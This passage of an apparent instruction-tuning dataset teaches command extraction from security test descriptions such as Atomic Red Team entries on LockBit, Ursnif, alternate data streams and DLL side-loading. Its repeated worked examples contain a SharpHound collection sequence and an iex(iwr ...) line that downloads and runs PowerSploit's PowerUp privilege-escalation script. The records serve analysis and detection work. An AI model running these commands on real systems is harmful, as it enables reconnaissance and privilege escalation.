Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Use screencapture command to collect a full desktop screenshot\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n LockBit Black - Disable Privacy Settings Experience Using Registry\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Create an Alternate Data Stream Directory and File with the command prompt. Write access is required. Upon execution,\nrun \"dir /A /Q /R\" in the %temp% folder to view that the alternate data stream folder exists. To view the data in the\nalternate data stream, run \"type %temp%\\...$.......::$index_allocation\\secrets.txt\"\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Displays the current system time via the Windows builtin time command: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/time\nRecently observed in use in the wild during an incident involving Ursnif malware:\nhttps://github.com/The-DFIR-Report/Sigma-Rules/blob/dc72f0b557fc63347379be0a33439788256761c8/rules/windows/process_creation/proc_creation_win_system_time_lookup.yml\nhttps://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n GUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded.\nUpon execution, calc.exe will be opened.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Ursnif downloads additional modules from the C&C server and saves these in the registry folder HKEY_CURRENT_USER\\Software\\AppDataLow\\Software\\Microsoft\\\nMore information - https://blog.trendmicro.com/trendlabs-security-intelligence/phishing-campaign-uses-hijacked-emails-to-deliver-ursnif-by-replying-to-ongoing-threads/\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Launch bash shell with command arg to create TRAP on SIGINT (CTRL+C), then send SIGINT signal.\nThe trap executes script that writes to /tmp/art-fish.txt\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Rundll32.exe loading an executable renamed as .scr using desk.cpl \nReference: \n - [LOLBAS - Libraries/Desk](https://lolbas-project.github.io/lolbas/Libraries/Desk/)\nSIGMA rules:\n - [SCR File Write Event](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/file_event/file_event_win_new_src_file.yml)\n - [Rundll32 InstallScreenSaver Execution](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml)\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", 